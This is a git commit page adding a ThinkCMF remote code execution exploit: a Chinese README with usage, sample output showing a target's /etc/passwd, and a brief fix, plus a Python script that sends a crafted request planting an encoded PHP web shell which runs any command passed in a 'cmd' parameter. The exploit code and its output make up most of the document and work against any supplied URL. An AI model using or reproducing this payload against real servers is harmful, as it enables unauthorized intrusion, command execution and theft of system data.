liuyuqi-dellpc 4 years ago
commit
fada2cd524
4 changed files with 85 additions and 0 deletions
  1. 52 0
      README.md
  2. BIN
      ThinkCMF_getshell.jpg
  3. 33 0
      ThinkCMF_getshell.py
  4. BIN
      fofa.jpg

+ 52 - 0
README.md

@@ -0,0 +1,52 @@
+# ThinkCMF_getshell 框架上的任意内容包含漏洞
+
+远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。
+
+![](./fofa.jpg)
+![](./ThinkCMF_getshell.jpg)
+
+## python usage:
+
+`[+] python ThinkCMF_getshell.py http://x.x.x.x/`
+
+```
+python ThinkCMF_getshell.py https://x.x.x.x/
+nginx
+PHP/7.0.19
+
+>>>>>>>Shell url:
+https://x.x.x.x/0a30e0d61182dbb7c1eed5135787fb84.php?cmd=cat /etc/passwd
+
+
+root:x:0:0:root:/root:/bin/bash
+bin:x:1:1:bin:/bin:/sbin/nologin
+daemon:x:2:2:daemon:/sbin:/sbin/nologin
+adm:x:3:4:adm:/var/adm:/sbin/nologin
+lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
+sync:x:5:0:sync:/sbin:/bin/sync
+shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
+halt:x:7:0:halt:/sbin:/sbin/halt
+mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
+operator:x:11:0:operator:/root:/sbin/nologin
+games:x:12:100:games:/usr/games:/sbin/nologin
+ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
+nobody:x:99:99:Nobody:/:/sbin/nologin
+systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
+dbus:x:81:81:System message bus:/:/sbin/nologin
+polkitd:x:999:997:User for polkitd:/:/sbin/nologin
+postfix:x:89:89::/var/spool/postfix:/sbin/nologin
+chrony:x:998:996::/var/lib/chrony:/sbin/nologin
+sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
+ntp:x:38:38::/etc/ntp:/sbin/nologin
+tcpdump:x:72:72::/:/sbin/nologin
+nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
+saslauth:x:997:76:Saslauthd user:/run/saslauthd:/sbin/nologin
+mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
+smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
+www:x:1000:1000::/home/www:/sbin/nologin
+mysql:x:1001:1001::/home/mysql:/sbin/nologin
+
+```
+## 修复方法
+将 
+`HomebaseController.class.php` 和 `AdminbaseController.class.php` 类中 `display` 和 `fetch` 函数的修饰符改为 `protected`

BIN
ThinkCMF_getshell.jpg


+ 33 - 0
ThinkCMF_getshell.py

@@ -0,0 +1,33 @@
+
+import requests,sys,json
+
+def ThinkCMF_getshell(url):
+    if url[-1] == '/':
+        url = url[0:-1]
+    else:
+        url = url
+    vuln_url = url + R'''/index.php?a=fetch&templateFile=public/inde&prefix=%27%27&content=<php>file_put_contents('0a30e0d61182dbb7c1eed5135787fb84.php','%3c%3f%70%68%70%0d%0a%65%63%68%6f%20%6d%64%35%28%22%54%68%69%6e%6b%43%4d%46%22%29%3b%0d%0a%20%20%20%20%69%66%28%69%73%73%65%74%28%24%5f%52%45%51%55%45%53%54%5b%22%63%6d%64%22%5d%29%29%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%3c%70%72%65%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%63%6d%64%20%3d%20%28%24%5f%52%45%51%55%45%53%54%5b%22%63%6d%64%22%5d%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%73%79%73%74%65%6d%28%24%63%6d%64%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%3c%2f%70%72%65%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%64%69%65%3b%0d%0a%20%20%20%20%7d%0d%0a%70%68%70%69%6e%66%6f%28%29%3b%0d%0a%3f%3e')</php>'''
+    r = requests.get(vuln_url)
+    response_str = json.dumps(r.headers.__dict__['_store'])
+    if r.status_code == 200 and 'PHP' in response_str:
+        print r.headers.get('Server')
+        print r.headers.get('X-Powered-By')
+        check_shell(url)
+    else:
+        print "No Exit ThinkCMF Vuln"
+
+def check_shell(url):
+    shell_url = url + '/0a30e0d61182dbb7c1eed5135787fb84.php'
+    r = requests.get(shell_url)
+    if r.status_code == 200 and '0a30e0d61182dbb7c1eed5135787fb84' in r.content:
+        print "\n>>>>>>>Shell url:"
+        print url + "/0a30e0d61182dbb7c1eed5135787fb84.php?cmd=whoami"
+        # print url + "/0a30e0d61182dbb7c1eed5135787fb84.php?cmd=rm -rf 0a30e0d61182dbb7c1eed5135787fb84.php"
+
+if __name__ == '__main__':
+    if len(sys.argv) != 2:
+        sys.exit("\n[+] python %s http://x.x.x.x/" % sys.argv[0])
+    else:
+        url = sys.argv[1]
+        ThinkCMF_getshell(url)
+

BIN
fofa.jpg